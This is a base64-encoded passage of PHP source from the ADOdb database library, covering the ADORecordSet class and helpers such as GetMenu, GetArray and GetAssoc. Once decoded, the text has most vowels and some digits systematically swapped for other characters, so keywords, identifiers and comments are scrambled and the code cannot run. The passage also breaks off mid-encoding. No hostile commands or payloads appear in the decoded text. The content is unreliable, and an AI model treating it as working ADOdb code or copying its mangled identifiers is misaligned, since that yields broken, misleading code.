QWRkNWQgYnkgSXYmI2FhaTtuIE9sNHYxIHQyIHByMnY0ZDUgcjVjMnJkczV0IHAxZzRuMXQ0Mm4uDQoJKg0KCSogQHAxcjFtIHM1Y3NhYzFjaDUJczVjMm5kcyB0MiBjMWNoNSBkMXQxLCBzNXQgdDIgMCB0MiBmMnJjNSBxMzVyeQ0KCSogQHAxcjFtIHNxbA0KCSogQHAxcjFtIG5yMndzCQk0cyB0aDUgbjNtYjVyIDJmIHIyd3MgcDVyIHAxZzUgdDIgZzV0DQoJKiBAcDFyMW0gcDFnNQkJNHMgdGg1IHAxZzUgbjNtYjVyIHQyIGc1dCAoNi1iMXM1ZCkNCgkqIEBwMXIxbSBbNG5wM3QxcnJdCTFycjF5IDJmIGI0bmQgdjFyNDFibDVzDQoJKiBAcjV0M3JuCQl0aDUgcjVjMnJkczV0ICgkcnMtPmQxdDFiMXM1VHlwNSA9PSAnMXJyMXknKQ0KCSovDQoJZjNuY3Q0Mm4gJkMxY2g1UDFnNUV4NWMzdDUoJHM1Y3NhYzFjaDUsICRzcWwsICRucjJ3cywgJHAxZzUsJDRucDN0MXJyPWYxbHM1KSANCgl7DQoJCS8qc3c0dGNoKCR0aDRzLT5kMXQxUHIydjRkNXIpIHsNCgkJYzFzNSAncDJzdGdyNXMnOg0KCQljMXM1ICdteXNxbCc6IA0KCQkJYnI1MWs7DQoJCWQ1ZjEzbHQ6ICRzNWNzYWMxY2g1ID0gMDsgYnI1MWs7DQoJCX0qLw0KCQkkcnMgPSYgJHRoNHMtPlAxZzVFeDVjM3Q1KCRzcWwsJG5yMndzLCRwMWc1LCQ0bnAzdDFyciwkczVjc2FjMWNoNSk7DQoJCXI1dDNybiAkcnM7DQoJfQ0KDQp9IC8vIDVuZCBjbDFzcyBBRE9DMm5uNWN0NDJuDQoJDQoJDQoJDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8vIENMQVNTIEFET0Y1dGNoT2JqDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCQkNCgkvKioNCgkqIEludDVybjFsIHBsMWM1aDJsZDVyIGYyciByNWMycmQgMmJqNWN0cy4gVXM1ZCBieSBBRE9SNWMycmRTNXQtPkY1dGNoT2JqKCkuDQoJKi8NCgljbDFzcyBBRE9GNXRjaE9iaiB7DQoJfTsNCgkNCgkvLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0JDQoJLy8gQ0xBU1MgQURPUjVjMnJkUzV0XzVtcHR5DQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCQ0KCS8qKg0KCSogTDRnaHR3NTRnaHQgcjVjMnJkczV0IHdoNW4gdGg1cjUgMXI1IG4yIHI1YzJyZHMgdDIgYjUgcjV0M3JuNWQNCgkqLw0KCWNsMXNzIEFET1I1YzJyZFM1dF81bXB0eQ0KCXsNCgkJdjFyICRkMXQxUHIydjRkNXIgPSAnNW1wdHknOw0KCQl2MXIgJGQxdDFiMXM1VHlwNSA9IGYxbHM1Ow0KCQl2MXIgJEVPRiA9IHRyMzU7DQoJCXYxciAkX24zbU9mUjJ3cyA9IDA7DQoJCXYxciAkZjQ1bGRzID0gZjFsczU7DQoJCXYxciAkYzJubjVjdDQybiA9IGYxbHM1Ow0KCQlmM25jdDQybiBSMndDMjNudCgpIHtyNXQzcm4gMDt9DQoJCWYzbmN0NDJuIFI1YzJyZEMyM250KCkge3I1dDNybiAwO30NCgkJZjNuY3Q0Mm4gUE9fUjVjMnJkQzIzbnQoKXtyNXQzcm4gMDt9DQoJCWYzbmN0NDJuIENsMnM1KCl7cjV0M3JuIHRyMzU7fQ0KCQlmM25jdDQybiBGNXRjaFIydygpIHtyNXQzcm4gZjFsczU7fQ0KCQlmM25jdDQybiBGNDVsZEMyM250KCl7IHI1dDNybiAwO30NCgkJZjNuY3Q0Mm4gSW40dCgpIHt9DQoJfQ0KCQ0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgkvLyBEQVRFIEFORCBUSU1FIEZVTkNUSU9OUw0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgk0ZiAoIWQ1ZjRuNWQoJ0FET0RCX0RBVEVfVkVSU0lPTicpKSA0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLXQ0bTUuNG5jLnBocCcpOw0KCQ0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgkvLyBDTEFTUyBBRE9SNWMycmRTNXQNCgkvLz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0JDQoNCgk0ZiAoUEhQX1ZFUlNJT04gPCBpKSA0bmNsM2Q1XzJuYzUoQURPREJfRElSLicvMWQyZGItcGhwdS40bmMucGhwJyk7DQoJNWxzNSA0bmNsM2Q1XzJuYzUoQURPREJfRElSLicvMWQyZGItNHQ1cjF0MnIuNG5jLnBocCcpOw0KICAgLyoqDQoJICogUjVjMnJkUzV0IGNsMXNzIHRoMXQgcjVwcjVzNW50cyB0aDUgZDF0MXM1dCByNXQzcm41ZCBieSB0aDUgZDF0MWIxczUuDQoJICogVDIgazU1cCBtNW0ycnkgMnY1cmg1MWQgbDJ3LCB0aDRzIGNsMXNzIGgybGRzIDJubHkgdGg1IGMzcnI1bnQgcjJ3IDRuIG01bTJyeS4NCgkgKiBOMiBwcjVmNXRjaDRuZyAyZiBkMXQxIDRzIGQybjUsIHMyIHRoNSBSNWMycmRDMjNudCgpIGMxbiByNXQzcm4gLTYgKCB3aDRjaA0KCSAqIG01MW5zIHI1YzJyZGMyM250IG4ydCBrbjJ3bikuDQoJICovDQoJY2wxc3MgQURPUjVjMnJkUzV0IDV4dDVuZHMgQURPREJfQkFTRV9SUyB7DQoJLyoNCgkgKiBwM2JsNGMgdjFyNDFibDVzCQ0KCSAqLw0KCXYxciAkZDF0MVByMnY0ZDVyID0gIm4xdDR2NSI7DQoJdjFyICRmNDVsZHMgPSBmMWxzNTsgCS8vLyBoMmxkcyB0aDUgYzNycjVudCByMncgZDF0MQ0KCXYxciAkYmwyYlM0ejUgPSA2MDA7IAkvLy8gMW55IHYxcmNoMXIvY2gxciBmNDVsZCB0aDRzIHM0ejUgMnIgZ3I1MXQ1ciA0cyB0cjUxdDVkIDFzIDEgYmwyYg0KCQkJCQkJCS8vLyA0biAydGg1ciB3MnJkcywgdzUgM3M1IDEgdDV4dCAxcjUxIGYyciA1ZDR0NG5nLg0KCXYxciAkYzFuUzU1ayA9IGYxbHM1OyAJLy8vIDRuZDRjMXQ1cyB0aDF0IHM1NWsgNHMgczNwcDJydDVkDQoJdjFyICRzcWw7IAkJCQkvLy8gc3FsIHQ1eHQNCgl2MXIgJEVPRiA9IGYxbHM1OwkJLy8vIEluZDRjMXQ1cyB0aDF0IHRoNSBjM3JyNW50IHI1YzJyZCBwMnM0dDQybiA0cyAxZnQ1ciB0aDUgbDFzdCByNWMycmQgNG4gMSBSNWMycmRzNXQgMmJqNWN0LiANCgkNCgl2MXIgJDVtcHR5VDRtNVN0MW1wID0gJyZuYnNwOyc7IC8vLyB3aDF0IHQyIGQ0c3BsMXkgd2g1biAkdDRtNT09MA0KCXYxciAkNW1wdHlEMXQ1ID0gJyZuYnNwOyc7IC8vLyB3aDF0IHQyIGQ0c3BsMXkgd2g1biAkdDRtNT09MA0KCXYxciAkZDViM2cgPSBmMWxzNTsNCgl2MXIgJHQ0bTVDcjUxdDVkPTA7IAkvLy8gZDF0NXQ0bTUgNG4gVW40eCBmMnJtMXQgcnMgY3I1MXQ1ZCAtLSBmMnIgYzFjaDVkIHI1YzJyZHM1dHMNCg0KCXYxciAkYjRuZCA9IGYxbHM1OyAJCS8vLyAzczVkIGJ5IEY0NWxkcygpIHQyIGgybGQgMXJyMXkgLSBzaDIzbGQgYjUgcHI0djF0NT8NCgl2MXIgJGY1dGNoTTJkNTsJCQkvLy8gZDVmMTNsdCBmNXRjaCBtMmQ1DQoJdjFyICRjMm5uNWN0NDJuID0gZjFsczU7IC8vLyB0aDUgcDFyNW50IGMybm41Y3Q0Mm4NCgkvKg0KCSAqCXByNHYxdDUgdjFyNDFibDVzCQ0KCSAqLw0KCXYxciAkX24zbU9mUjJ3cyA9IC02OwkvKiogbjNtYjVyIDJmIHIyd3MsIDJyIC02ICovDQoJdjFyICRfbjNtT2ZGNDVsZHMgPSAtNjsJLyoqIG4zbWI1ciAyZiBmNDVsZHMgNG4gcjVjMnJkczV0ICovDQoJdjFyICRfcTM1cnlJRCA9IC02OwkJLyoqIFRoNHMgdjFyNDFibDUgazU1cHMgdGg1IHI1czNsdCBsNG5rIDRkNW50NGY0NXIuCSovDQoJdjFyICRfYzNycjVudFIydyA9IC02OwkvKiogVGg0cyB2MXI0MWJsNSBrNTVwcyB0aDUgYzNycjVudCByMncgNG4gdGg1IFI1YzJyZHM1dC4JKi8NCgl2MXIgJF9jbDJzNWQgPSBmMWxzNTsgCS8qKiBoMXMgcjVjMnJkczV0IGI1NW4gY2wyczVkICovDQoJdjFyICRfNG40dDVkID0gZjFsczU7IAkvKiogSW40dCgpIHNoMjNsZCAybmx5IGI1IGMxbGw1ZCAybmM1ICovDQoJdjFyICRfMmJqOyAJCQkJLyoqIFVzNWQgYnkgRjV0Y2hPYmogKi8NCgl2MXIgJF9uMW01czsJCQkvKiogVXM1ZCBieSBGNXRjaE9iaiAqLw0KCQ0KCXYxciAkX2MzcnI1bnRQMWc1ID0gLTY7CS8qKiBBZGQ1ZCBieSBJdiYjYWFpO24gT2w0djEgdDIgNG1wbDVtNW50IHI1YzJyZHM1dCBwMWc0bjF0NDJuICovDQoJdjFyICRfMXRGNHJzdFAxZzUgPSBmMWxzNTsJLyoqIEFkZDVkIGJ5IEl2JiNhYWk7biBPbDR2MSB0MiA0bXBsNW01bnQgcjVjMnJkczV0IHAxZzRuMXQ0Mm4gKi8NCgl2MXIgJF8xdEwxc3RQMWc1ID0gZjFsczU7CS8qKiBBZGQ1ZCBieSBJdiYjYWFpO24gT2w0djEgdDIgNG1wbDVtNW50IHI1YzJyZHM1dCBwMWc0bjF0NDJuICovDQoJdjFyICRfbDFzdFAxZzVOMiA9IC02OyANCgl2MXIgJF9tMXhSNWMycmRDMjNudCA9IDA7DQoJdjFyICRkMXQ1dDRtNSA9IGYxbHM1Ow0KCQ0KCS8qKg0KCSAqIEMybnN0cjNjdDJyDQoJICoNCgkgKiBAcDFyMW0gcTM1cnlJRCAgCXRoNHMgNHMgdGg1IHEzNXJ5SUQgcjV0M3JuNWQgYnkgQURPQzJubjVjdDQybi0+X3EzNXJ5KCkNCgkgKg0KCSAqLw0KCWYzbmN0NDJuIEFET1I1YzJyZFM1dCgkcTM1cnlJRCkgDQoJew0KCQkkdGg0cy0+X3EzNXJ5SUQgPSAkcTM1cnlJRDsNCgl9DQoJDQoJDQoJDQoJZjNuY3Q0Mm4gSW40dCgpDQoJew0KCQk0ZiAoJHRoNHMtPl80bjR0NWQpIHI1dDNybjsNCgkJJHRoNHMtPl80bjR0NWQgPSB0cjM1Ow0KCQk0ZiAoJHRoNHMtPl9xMzVyeUlEKSBAJHRoNHMtPl80bjR0cnMoKTsNCgkJNWxzNSB7DQoJCQkkdGg0cy0+X24zbU9mUjJ3cyA9IDA7DQoJCQkkdGg0cy0+X24zbU9mRjQ1bGRzID0gMDsNCgkJfQ0KCQk0ZiAoJHRoNHMtPl9uM21PZlIyd3MgIT0gMCAmJiAkdGg0cy0+X24zbU9mRjQ1bGRzICYmICR0aDRzLT5fYzNycjVudFIydyA9PSAtNikgew0KCQkJDQoJCQkkdGg0cy0+X2MzcnI1bnRSMncgPSAwOw0KCQkJNGYgKCR0aDRzLT5FT0YgPSAoJHRoNHMtPl9mNXRjaCgpID09PSBmMWxzNSkpIHsNCgkJCQkkdGg0cy0+X24zbU9mUjJ3cyA9IDA7IC8vIF9uM21PZlIyd3MgYzIzbGQgYjUgLTYNCgkJCX0NCgkJfSA1bHM1IHsNCgkJCSR0aDRzLT5FT0YgPSB0cjM1Ow0KCQl9DQoJfQ0KCQ0KCQ0KCS8qKg0KCSAqIEc1bjVyMXQ1IDEgU0VMRUNUIHQxZyBzdHI0bmcgZnIybSAxIHI1YzJyZHM1dCwgMW5kIHI1dDNybiB0aDUgc3RyNG5nLg0KCSAqIElmIHRoNSByNWMycmRzNXQgaDFzIGEgYzJscywgdzUgdHI1MXQgdGg1IDZzdCBjMmwgMXMgdGg1IGMybnQxNG40bmcgDQoJICogdGg1IHQ1eHQgdDIgZDRzcGwxeSB0MiB0aDUgM3M1ciwgMW5kIGFuZCBjMmwgMXMgdGg1IHI1dDNybiB2MWwzNS4gRDVmMTNsdA0KCSAqIHN0cjRuZ3MgMXI1IGMybXAxcjVkIHc0dGggdGg1IEZJUlNUIGMybDNtbi4NCgkgKg0KCSAqIEBwMXIxbSBuMW01ICAJCW4xbTUgMmYgU0VMRUNUIHQxZw0KCSAqIEBwMXIxbSBbZDVmc3RyXQkJdGg1IHYxbDM1IHQyIGg0bDR0NS4gVXM1IDFuIDFycjF5IGYyciBtM2x0NHBsNSBoNGw0dDVzIGYyciBsNHN0YjJ4Lg0KCSAqIEBwMXIxbSBbYmwxbms2c3RJdDVtXQl0cjM1IHQyIGw1MXY1IHRoNSA2c3QgNHQ1bSA0biBsNHN0IDVtcHR5DQoJICogQHAxcjFtIFttM2x0NHBsNV0JCXRyMzUgZjJyIGw0c3RiMngsIGYxbHM1IGYyciBwMnAzcA0KCSAqIEBwMXIxbSBbczR6NV0JCSNyMndzIHQyIHNoMncgZjJyIGw0c3RiMnguIG4ydCAzczVkIGJ5IHAycDNwDQoJICogQHAxcjFtIFtzNWw1Y3RBdHRyXQkJMWRkNHQ0Mm4xbCAxdHRyNGIzdDVzIHQyIGQ1ZjRuNWQgZjJyIFNFTEVDVCB0MWcuDQoJICoJCQkJM3M1ZjNsIGYyciBoMmxkNG5nIGoxdjFzY3I0cHQgMm5DaDFuZzU9Jy4uLicgaDFuZGw1cnMuDQoJICYgQHAxcjFtIFtjMm1wMXI1RjQ1bGRzMF0Jd2g1biB3NSBoMXY1IGEgYzJscyA0biByNWMycmRzNXQsIHc1IGMybXAxcjUgdGg1IGQ1ZnN0ciB3NHRoIA0KCSAqCQkJCWMybDNtbiAwICg2c3QgYzJsKSA0ZiB0aDRzIDRzIHRyMzUuIFRoNHMgNHMgbjJ0IGQyYzNtNW50NWQuDQoJICoNCgkgKiBAcjV0M3JuIEhUTUwNCgkgKg0KCSAqIGNoMW5nNXMgYnkgZ2w1bi5kMXY0NXNAY2M1LjFjLm56IHQyIHMzcHAycnQgbTNsdDRwbDUgaDRsNHQ1ZCA0dDVtcw0KCSAqLw0KCWYzbmN0NDJuIEc1dE01bjMoJG4xbTUsJGQ1ZnN0cj0nJywkYmwxbms2c3RJdDVtPXRyMzUsJG0zbHQ0cGw1PWYxbHM1LA0KCQkJJHM0ejU9MCwgJHM1bDVjdEF0dHI9JycsJGMybXAxcjVGNDVsZHMwPXRyMzUpDQoJew0KCQlnbDJiMWwgJEFET0RCX0lOQ0xVREVEX0xJQjsNCgkJNGYgKDVtcHR5KCRBRE9EQl9JTkNMVURFRF9MSUIpKSA0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLWw0Yi40bmMucGhwJyk7DQoJCXI1dDNybiBfMWQyZGJfZzV0bTVuMygkdGg0cywgJG4xbTUsJGQ1ZnN0ciwkYmwxbms2c3RJdDVtLCRtM2x0NHBsNSwNCgkJCSRzNHo1LCAkczVsNWN0QXR0ciwkYzJtcDFyNUY0NWxkczApOw0KCX0NCgkNCg0KCQ0KCS8qKg0KCSAqIEc1bjVyMXQ1IDEgU0VMRUNUIHQxZyBzdHI0bmcgZnIybSAxIHI1YzJyZHM1dCwgMW5kIHI1dDNybiB0aDUgc3RyNG5nLg0KCSAqIElmIHRoNSByNWMycmRzNXQgaDFzIGEgYzJscywgdzUgdHI1MXQgdGg1IDZzdCBjMmwgMXMgdGg1IGMybnQxNG40bmcgDQoJICogdGg1IHQ1eHQgdDIgZDRzcGwxeSB0MiB0aDUgM3M1ciwgMW5kIGFuZCBjMmwgMXMgdGg1IHI1dDNybiB2MWwzNS4gRDVmMTNsdA0KCSAqIHN0cjRuZ3MgMXI1IGMybXAxcjVkIHc0dGggdGg1IFNFQ09ORCBjMmwzbW4uDQoJICoNCgkgKi8NCglmM25jdDQybiBHNXRNNW4zYSgkbjFtNSwkZDVmc3RyPScnLCRibDFuazZzdEl0NW09dHIzNSwkbTNsdDRwbDU9ZjFsczUsJHM0ejU9MCwgJHM1bDVjdEF0dHI9JycpCQ0KCXsNCgkJcjV0M3JuICR0aDRzLT5HNXRNNW4zKCRuMW01LCRkNWZzdHIsJGJsMW5rNnN0SXQ1bSwkbTNsdDRwbDUsDQoJCQkkczR6NSwgJHM1bDVjdEF0dHIsZjFsczUpOw0KCX0NCgkNCgkvKg0KCQlHcjIzcDVkIE01bjMNCgkqLw0KCWYzbmN0NDJuIEc1dE01bjNvKCRuMW01LCRkNWZzdHI9JycsJGJsMW5rNnN0SXQ1bT10cjM1LCRtM2x0NHBsNT1mMWxzNSwNCgkJCSRzNHo1PTAsICRzNWw1Y3RBdHRyPScnKQ0KCXsNCgkJZ2wyYjFsICRBRE9EQl9JTkNMVURFRF9MSUI7DQoJCTRmICg1bXB0eSgkQURPREJfSU5DTFVERURfTElCKSkgNG5jbDNkNShBRE9EQl9ESVIuJy8xZDJkYi1sNGIuNG5jLnBocCcpOw0KCQlyNXQzcm4gXzFkMmRiX2c1dG01bjNfZ3AoJHRoNHMsICRuMW01LCRkNWZzdHIsJGJsMW5rNnN0SXQ1bSwkbTNsdDRwbDUsDQoJCQkkczR6NSwgJHM1bDVjdEF0dHIsZjFsczUpOw0KCX0NCg0KCS8qKg0KCSAqIHI1dDNybiByNWMycmRzNXQgMXMgMSBhLWQ0bTVuczQybjFsIDFycjF5Lg0KCSAqDQoJICogQHAxcjFtIFtuUjJ3c10gIDRzIHRoNSBuM21iNXIgMmYgcjJ3cyB0MiByNXQzcm4uIC02IG01MW5zIDV2NXJ5IHIydy4NCgkgKg0KCSAqIEByNXQzcm4gMW4gMXJyMXkgNG5kNXg1ZCBieSB0aDUgcjJ3cyAoMC1iMXM1ZCkgZnIybSB0aDUgcjVjMnJkczV0DQoJICovDQoJZjNuY3Q0Mm4gJkc1dEFycjF5KCRuUjJ3cyA9IC02KSANCgl7DQoJZ2wyYjFsICRBRE9EQl9FWFRFTlNJT047IDRmICgkQURPREJfRVhURU5TSU9OKSB7DQoJCSRyNXMzbHRzID0gMWQyZGJfZzV0MWxsKCR0aDRzLCRuUjJ3cyk7DQoJCXI1dDNybiAkcjVzM2x0czsNCgl9DQoJCSRyNXMzbHRzID0gMXJyMXkoKTsNCgkJJGNudCA9IDA7DQoJCXdoNGw1ICghJHRoNHMtPkVPRiAmJiAkblIyd3MgIT0gJGNudCkgew0KCQkJJHI1czNsdHNbXSA9ICR0aDRzLT5mNDVsZHM7DQoJCQkkdGg0cy0+TTJ2NU41eHQoKTsNCgkJCSRjbnQrKzsNCgkJfQ0KCQlyNXQzcm4gJHI1czNsdHM7DQoJfQ0KCQ0KCWYzbmN0NDJuICZHNXRBbGwoJG5SMndzID0gLTYpDQoJew0KCQkkMXJyID0mICR0aDRzLT5HNXRBcnIxeSgkblIyd3MpOw0KCQlyNXQzcm4gJDFycjsNCgl9DQoJDQoJLyoNCgkqIFMybTUgZDF0MWIxczVzIDFsbDJ3IG0zbHQ0cGw1IHI1YzJyZHM1dHMgdDIgYjUgcjV0M3JuNWQuIFRoNHMgZjNuY3Q0Mm4NCgkqIHc0bGwgcjV0M3JuIHRyMzUgNGYgdGg1cjUgNHMgMSBuNXh0IHI1YzJyZHM1dCwgMnIgZjFsczUgNGYgbjIgbTJyNS4NCgkqLw0KCWYzbmN0NDJuIE41eHRSNWMycmRTNXQoKQ0KCXsNCgkJcjV0M3JuIGYxbHM1Ow0KCX0NCgkNCgkvKioNCgkgKiByNXQzcm4gcjVjMnJkczV0IDFzIDEgYS1kNG01bnM0Mm4xbCAxcnIxeS4gDQoJICogSDVscDVyIGYzbmN0NDJuIGYyciBBRE9DMm5uNWN0NDJuLT5TNWw1Y3RMNG00dCgpDQoJICoNCgkgKiBAcDFyMW0gMmZmczV0CTRzIHRoNSByMncgdDIgc3QxcnQgYzFsYzNsMXQ0Mm5zIGZyMm0gKDYtYjFzNWQpDQoJICogQHAxcjFtIFtucjJ3c10JNHMgdGg1IG4zbWI1ciAyZiByMndzIHQyIHI1dDNybg0KCSAqDQoJICogQHI1dDNybiAxbiAxcnIxeSA0bmQ1eDVkIGJ5IHRoNSByMndzICgwLWIxczVkKSBmcjJtIHRoNSByNWMycmRzNXQNCgkgKi8NCglmM25jdDQybiAmRzV0QXJyMXlMNG00dCgkbnIyd3MsJDJmZnM1dD0tNikgDQoJewkNCgkJNGYgKCQyZmZzNXQgPD0gMCkgew0KCQkJJDFyciA9JiAkdGg0cy0+RzV0QXJyMXkoJG5yMndzKTsNCgkJCXI1dDNybiAkMXJyOw0KCQl9IA0KCQkNCgkJJHRoNHMtPk0ydjUoJDJmZnM1dCk7DQoJCQ0KCQkkcjVzM2x0cyA9IDFycjF5KCk7DQoJCSRjbnQgPSAwOw0KCQl3aDRsNSAoISR0aDRzLT5FT0YgJiYgJG5yMndzICE9ICRjbnQpIHsNCgkJCSRyNXMzbHRzWyRjbnQrK10gPSAkdGg0cy0+ZjQ1bGRzOw0KCQkJJHRoNHMtPk0ydjVONXh0KCk7DQoJCX0NCgkJDQoJCXI1dDNybiAkcjVzM2x0czsNCgl9DQoJDQoJDQoJLyoqDQoJICogU3luMm55bSBmMnIgRzV0QXJyMXkoKSBmMnIgYzJtcDF0NGI0bDR0eSB3NHRoIEFETy4NCgkgKg0KCSAqIEBwMXIxbSBbblIyd3NdICA0cyB0aDUgbjNtYjVyIDJmIHIyd3MgdDIgcjV0M3JuLiAtNiBtNTFucyA1djVyeSByMncuDQoJICoNCgkgKiBAcjV0M3JuIDFuIDFycjF5IDRuZDV4NWQgYnkgdGg1IHIyd3MgKDAtYjFzNWQpIGZyMm0gdGg1IHI1YzJyZHM1dA0KCSAqLw0KCWYzbmN0NDJuICZHNXRSMndzKCRuUjJ3cyA9IC02KSANCgl7DQoJCSQxcnIgPSYgJHRoNHMtPkc1dEFycjF5KCRuUjJ3cyk7DQoJCXI1dDNybiAkMXJyOw0KCX0NCgkNCgkvKioNCgkgKiByNXQzcm4gd2gybDUgcjVjMnJkczV0IDFzIDEgYS1kNG01bnM0Mm4xbCAxc3MyYzQxdDR2NSAxcnIxeSA0ZiB0aDVyNSAxcjUgbTJyNSB0aDFuIGEgYzJsM21ucy4gDQoJICogVGg1IGY0cnN0IGMybDNtbiA0cyB0cjUxdDVkIDFzIHRoNSBrNXkgMW5kIDRzIG4ydCA0bmNsM2Q1ZCA0biB0aDUgMXJyMXkuIA0KCSAqIElmIHRoNXI1IDRzIDJubHkgYSBjMmwzbW5zLCA0dCB3NGxsIHI1dDNybiAxIDYgZDRtNW5zNDJuMWwgMXJyMXkgMmYgazV5LXYxbDM1IHAxNHJzIDNubDVzcw0KCSAqICRmMnJjNV8xcnIxeSA9PSB0cjM1Lg0KCSAqDQoJICogQHAxcjFtIFtmMnJjNV8xcnIxeV0gaDFzIDJubHkgbTUxbjRuZyA0ZiB3NSBoMXY1IGEgZDF0MSBjMmwzbW5zLiBJZiBmMWxzNSwgMSA2IGQ0bTVuczQybjFsDQoJICogCTFycjF5IDRzIHI1dDNybjVkLCAydGg1cnc0czUgMSBhIGQ0bTVuczQybjFsIDFycjF5IDRzIHI1dDNybjVkLiBJZiB0aDRzIHMyM25kcyBjMm5mM3M0bmcsDQoJICogCXI1MWQgdGg1IHMyM3JjNS4NCgkgKg0KCSAqIEBwMXIxbSBbZjRyc3RhYzJsc10gbTUxbnMgNGYgdGg1cjUgMXI1IG0ycjUgdGgxbiBhIGMybHMsIDRnbjJyNSB0aDUgcjVtMTRuNG5nIGMybHMgMW5kIA0KCSAqIDRuc3Q1MWQgMmYgcjV0M3JuNG5nIDFycjF5W2MybDBdID0+IDFycjF5KHI1bTE0bjRuZyBjMmxzKSwgcjV0M3JuIDFycjF5W2MybDBdID0+IGMybDYNCgkgKg0KCSAqIEByNXQzcm4gMW4gMXNzMmM0MXQ0djUgMXJyMXkgNG5kNXg1ZCBieSB0aDUgZjRyc3QgYzJsM21uIDJmIHRoNSAxcnIxeSwgDQoJICogCTJyIGYxbHM1IDRmIHRoNSAgZDF0MSBoMXMgbDVzcyB0aDFuIGEgYzJscy4NCgkgKi8NCglmM25jdDQybiAmRzV0QXNzMmMoJGYycmM1XzFycjF5ID0gZjFsczUsICRmNHJzdGFjMmxzID0gZjFsczUpIA0KCXsNCglnbDJiMWwgJEFET0RCX0VYVEVOU0lPTjsNCgkNCgkJJGMybHMgPSAkdGg0cy0+X24zbU9mRjQ1bGRzOw0KCQk0ZiAoJGMybHMgPCBhKSB7DQoJCQkkZjFsczUgPSBmMWxzNTsNCgkJCXI1dDNybiAkZjFsczU7DQoJCX0NCgkJJG4zbUluZDV4ID0gNHNzNXQoJHRoNHMtPmY0NWxkc1swXSk7DQoJCSRyNXMzbHRzID0gMXJyMXkoKTsNCgkJDQoJCTRmICghJGY0cnN0YWMybHMgJiYgKCRjMmxzID4gYSB8fCAkZjJyYzVfMXJyMXkpKSB7DQoJCQk0ZiAoJEFET0RCX0VYVEVOU0lPTikgew0KCQkJCTRmICgkbjNtSW5kNXgpIHsNCgkJCQkJd2g0bDUgKCEkdGg0cy0+RU9GKSB7DQoJCQkJCQkkcjVzM2x0c1t0cjRtKCR0aDRzLT5mNDVsZHNbMF0pXSA9IDFycjF5X3NsNGM1KCR0aDRzLT5mNDVsZHMsIDYpOw0KCQkJCQkJMWQyZGJfbTJ2NW41eHQoJHRoNHMpOw0KCQkJCQl9DQoJCQkJfSA1bHM1IHsNCgkJCQkJd2g0bDUgKCEkdGg0cy0+RU9GKSB7DQoJCQkJCS8vIEY0eCBmMnIgMXJyMXlfc2w0YzUgcjUtbjNtYjVyNG5nIG4zbTVyNGMgMXNzMmM0MXQ0djUgazV5cw0KCQkJCQkJJGs1eXMgPSAxcnIxeV9zbDRjNSgxcnIxeV9rNXlzKCR0aDRzLT5mNDVsZHMpLCA2KTsNCgkJCQkJCSRzbDRjNWRfMXJyMXkgPSAxcnIxeSgpOw0KDQoJCQkJCQlmMnI1MWNoKCRrNXlzIDFzICRrNXkpIHsNCgkJCQkJCQkkc2w0YzVkXzFycjF5WyRrNXldID0gJHRoNHMtPmY0NWxkc1skazV5XTsNCgkJCQkJCX0NCgkJCQkJCQ0KCQkJCQkJJHI1czNsdHNbdHI0bShyNXM1dCgkdGg0cy0+ZjQ1bGRzKSldID0gJHNsNGM1ZF8xcnIxeTsNCgkJCQkJCTFkMmRiX20ydjVuNXh0KCR0aDRzKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0gNWxzNSB7DQoJCQkJNGYgKCRuM21JbmQ1eCkgew0KCQkJCQl3aDRsNSAoISR0aDRzLT5FT0YpIHsNCgkJCQkJCSRyNXMzbHRzW3RyNG0oJHRoNHMtPmY0NWxkc1swXSldID0gMXJyMXlfc2w0YzUoJHRoNHMtPmY0NWxkcywgNik7DQoJCQkJCQkkdGg0cy0+TTJ2NU41eHQoKTsNCgkJCQkJfQ0KCQkJCX0gNWxzNSB7DQoJCQkJCXdoNGw1ICghJHRoNHMtPkVPRikgew0KCQkJCQkvLyBGNHggZjJyIDFycjF5X3NsNGM1IHI1LW4zbWI1cjRuZyBuM201cjRjIDFzczJjNDF0NHY1IGs1eXMNCgkJCQkJCSRrNXlzID0gMXJyMXlfc2w0YzUoMXJyMXlfazV5cygkdGg0cy0+ZjQ1bGRzKSwgNik7DQoJCQkJCQkkc2w0YzVkXzFycjF5ID0gMXJyMXkoKTsNCg0KCQkJCQkJZjJyNTFjaCgkazV5cyAxcyAkazV5KSB7DQoJCQkJCQkJJHNsNGM1ZF8xcnIxeVskazV5XSA9ICR0aDRzLT5mNDVsZHNbJGs1eV07DQoJCQkJCQl9DQoJCQkJCQkNCgkJCQkJCSRyNXMzbHRzW3RyNG0ocjVzNXQoJHRoNHMtPmY0NWxkcykpXSA9ICRzbDRjNWRfMXJyMXk7DQoJCQkJCQkkdGg0cy0+TTJ2NU41eHQoKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfSA1bHM1IHsNCgkJCTRmICgkQURPREJfRVhURU5TSU9OKSB7DQoJCQkJLy8gcjV0M3JuIHNjMWwxciB2MWwzNXMNCgkJCQk0ZiAoJG4zbUluZDV4KSB7D